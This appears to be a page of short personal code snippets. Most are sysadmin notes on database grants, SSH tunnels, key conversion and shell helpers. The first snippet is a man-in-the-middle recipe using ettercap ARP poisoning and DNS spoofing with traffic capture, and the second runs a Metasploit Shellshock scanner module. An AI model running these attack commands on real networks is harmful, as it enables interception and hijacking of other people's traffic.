This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| locate etter.dns | |
| service apache2 start | |
| echo 1 > /proc/sys/net/ipv4/ip_forward | |
| iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-por 10000 | |
| ettercap -T -q -w dump -i wlan0 -M ARP // // output: | |
| ettercap -T -q -i wlan0 -P dns_spoof -M arp // // |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # setup metasploit from master on github: https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment | |
| # good help on console and metasploit: http://www.offensive-security.com/metasploit-unleashed/Msfconsole | |
| #start msfconsole | |
| use auxiliary/scanner/http/apache_mod_cgi_bash_env | |
| set VHOST app.local | |
| set TARGETURI "/all" | |
| set RPORT 3000 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #compdef msfconsole | |
| # ------------------------------------------------------------------------------ | |
| # Copyright (c) 2014 Spencer McIntyre | |
| # All rights reserved. | |
| # | |
| # Redistribution and use in source and binary forms, with or without | |
| # modification, are permitted provided that the following conditions are met: | |
| # * Redistributions of source code must retain the above copyright | |
| # notice, this list of conditions and the following disclaimer. | |
| # * Redistributions in binary form must reproduce the above copyright |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Create a user with Login | |
| sql = [%(CREATE ROLE <username> WITH PASSWORD '<password>' LOGIN)] | |
| # # Allow to connect | |
| sql << %(GRANT CONNECT ON DATABASE reports TO <username>) | |
| # # Allow to use schema | |
| sql << %(GRANT USAGE ON SCHEMA public TO <username>) | |
| # # grant on current objects | |
| sql << %(GRANT SELECT ON ALL TABLES IN SCHEMA public TO <username>) | |
| # # grant on future objects | |
| sql << %(ALTER DEFAULT PRIVILEGES IN SCHEMA public GRANT SELECT ON TABLES TO <username>) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 1. Convert PEM into pub SSH key file: | |
| ssh-keygen -e -f amazon-ec2-key.pem >> amazon-ec2-key.pem.pub | |
| 2. Generate a PEM from a SSH key: | |
| openssl rsa -in my_tunneler -outform pem > my_tunneler.pem |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| CREATE USER '<username>'@'%' IDENTIFIED BY '<password>'; | |
| # ALL PRIVILEGES is everything except grant | |
| GRANT ALL PRIVILEGES ON <database_name>.* TO '<username>'@'%'; | |
| GRANT SELECT ON <database_name>.* TO '<username>'@'%'; | |
| GRANT SELECT ON <database_name>.* TO '<username>'@'%'; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| SELECT table_schema "Data Base Name", SUM( data_length + index_length) / 1024 / 1024 | |
| "Data Base Size in MB" FROM information_schema.TABLES GROUP BY table_schema ; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ## Start SSH agent | |
| eval "$(ssh-agent -s)" | |
| ## Open SSH tunnel on port 3307 | |
| ssh -fN -L 3307:127.0.0.1:3306 sqlaccount@domain.com | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| showips() { | |
| NAMES=( $($IFC | grep "lo\|eth\|wlan" -A 1 | awk -F" " '{print $1 }' | grep -v "inet\|-\|UP" | sort -u) ) | |
| for i in "${NAMES[@]}" | |
| do | |
| echo "$i has ip address: `$IFC | grep "$i" -A 1 | grep "addr" | awk -F" " '{print $2}' | awk -F":" '{print $2}'`" | |
| done | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| if [ "$1" != "" ]; then | |
| case $1 in | |
| -o | --open ) echo "$USER opening sshfs connection" | |
| open your connection here | |
| ;; | |
| -c | --close ) echo "$USER closing sshfs connection" | |
| close your connection here | |
| ;; |